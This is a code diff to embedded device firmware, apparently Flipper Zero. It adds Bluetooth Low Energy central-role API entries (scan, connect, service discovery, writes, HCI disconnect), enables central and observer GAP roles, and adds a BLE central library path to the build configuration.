||||
Function,-,acosf,float,float
|
||||
Function,-,acosh,double,double
|
||||
@@ -734,6 +742,15 @@ Function,+,bit_lib_test_parity_32,_Bool,"uint32_t, BitLibParity"
|
||||
Function,-,ble_app_deinit,void,
|
||||
Function,-,ble_app_get_key_storage_buff,void,"uint8_t**, uint16_t*"
|
||||
Function,-,ble_app_init,_Bool,
|
||||
Function,-,ble_central_connect,_Bool,"const uint8_t*, uint8_t"
|
||||
Function,-,ble_central_disconnect,_Bool,
|
||||
Function,-,ble_central_discover_services,_Bool,
|
||||
Function,-,ble_central_get_connection_handle,uint16_t,
|
||||
Function,-,ble_central_is_connected,_Bool,
|
||||
Function,-,ble_central_scan_start,_Bool,"BleCentralEventCallback, void*"
|
||||
Function,-,ble_central_scan_stop,_Bool,
|
||||
Function,-,ble_central_write_command,_Bool,"uint16_t, const uint8_t*, uint16_t"
|
||||
Function,-,ble_central_write_request,_Bool,"uint16_t, const uint8_t*, uint16_t"
|
||||
Function,-,ble_event_app_notification,BleEventFlowStatus,void*
|
||||
Function,-,ble_event_dispatcher_init,void,
|
||||
Function,-,ble_event_dispatcher_process_event,BleEventFlowStatus,void*
|
||||
@@ -2088,7 +2105,8 @@ Function,+,gui_set_lockdown,void,"Gui*, _Bool"
|
||||
Function,+,gui_set_lockdown_inhibit,void,"Gui*, _Bool"
|
||||
Function,-,gui_view_port_send_to_back,void,"Gui*, ViewPort*"
|
||||
Function,+,gui_view_port_send_to_front,void,"Gui*, ViewPort*"
|
||||
Function,-,hci_send_req,int,"hci_request*, uint8_t"
|
||||
Function,+,hci_disconnect,uint8_t,"uint16_t, uint8_t"
|
||||
Function,+,hci_send_req,int,"hci_request*, uint8_t"
|
||||
Function,+,hex_char_to_hex_nibble,_Bool,"char, uint8_t*"
|
||||
Function,+,hex_char_to_uint8,_Bool,"char, char, uint8_t*"
|
||||
Function,+,hex_chars_to_uint64,_Bool,"const char*, uint64_t*"
|
||||
|
||||
|
@@ -359,7 +359,7 @@ static void gap_init_svc(Gap* gap, const GapRootSecurityKeys* root_keys) {
|
||||
// Skip first symbol AD_TYPE_COMPLETE_LOCAL_NAME
|
||||
char* name = gap->service.adv_name + 1;
|
||||
aci_gap_init(
|
||||
GAP_PERIPHERAL_ROLE,
|
||||
GAP_PERIPHERAL_ROLE | GAP_CENTRAL_ROLE | GAP_OBSERVER_ROLE,
|
||||
0,
|
||||
strlen(name),
|
||||
&gap->service.gap_svc_handle,
|
||||
|
||||
@@ -11,7 +11,8 @@
|
||||
"platform_specific",
|
||||
"ble_glue/furi_ble",
|
||||
"ble_glue/services",
|
||||
"ble_glue/profiles"
|
||||
"ble_glue/profiles",
|
||||
"../../lib/ble_central"
|
||||
],
|
||||
"linker_script_flash": "stm32wb55xx_flash.ld",
|
||||
"linker_script_ram": "stm32wb55xx_ram_fw.ld",
|
||||
|
||||